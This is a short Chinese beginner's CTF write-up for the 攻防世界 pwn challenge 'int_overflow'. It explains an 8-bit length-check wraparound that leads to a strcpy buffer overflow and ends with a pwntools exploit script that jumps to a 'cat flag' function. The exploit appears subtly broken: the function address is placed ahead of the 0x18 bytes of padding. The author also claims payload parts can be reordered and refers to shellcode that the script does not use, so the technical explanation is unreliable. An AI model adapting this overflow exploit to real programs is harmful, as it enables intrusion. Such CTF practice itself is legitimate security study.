攻防世界_pwn int_overflow(萌新版)

0x00 前言

重刷攻防世界,本人纯萌新,在本次刷题过程中,不能再想之前那样,做过就忘,我打算将我的思路尽可能的写成文章发在网站。

0x10 步骤

file与checksec步骤已省略

攻防世界_pwn int_overflow(萌新版)_第1张图片 攻防世界_pwn int_overflow(萌新版)_第2张图片

根据反汇编的意思,便可以知道buf的长度比dest的长度长,所以在strcpy的时候会发生溢出现象。

而如果我们的s的长度在3和8之间,那么我们便无法使得strcpy处发生溢出,而根据下图可知,v3也就是s的长度,是存放在al寄存器中的,al是一个8位寄存器,无符号数最多可以存放的数据范围是0-255,则当我们输入的数位255+(4-7)之内的时候,会因为溢出的原因而使得al中的数值依然位(4-7)中的一个数,所以我们便可以在payload中构造其长度为255+(4-7)中的任意一个数,而shellcode应该在返回地址处,所以应该使其进行左对齐。

攻防世界_pwn int_overflow(萌新版)_第3张图片

上图中第一个箭头指向的应是call指令,对应strlen函数,我参考的是百度知道,另外根据下文 [ebp+var_9]与3和8进行比较也可以知道是al存放的s的长度。

从ida中也可以知道有cat flag函数,所以我们需要将cat flag所在函数的地址进行打包,文件为32位elf则打包成p32,这步不懂的可以去看我的pwn流程。

攻防世界_pwn int_overflow(萌新版)_第4张图片

则exp如下:

from pwn import *
sh = process("./intoverflow")
flag_addr = 0x0804868B
sh.recvuntil("Your choice:")
sh.sendline("1")
sh.recvuntil("username:")
sh.sendline("asass")
sh.recvuntil("passwd:")
payload = p32(flag_addr)+"a"*0x18
payload = payload.ljust(259,"a")
sh.sendline(payload)
sh.recv()
sh.interactive()

0x 20 关于exp

0x21

对于sh.recvuntil,这里不建议加上换行符\n,尽管题目中有换行符的出现,尽量还是不要加,我加了没打通,如果是因为换行符的问题,建议多试几次。另外recvuntil不必接收完全部一句话,可以只写后半部分。

0x22

payload内容的位置好像是可以换的。

你可能感兴趣的:(CTF,攻防世界)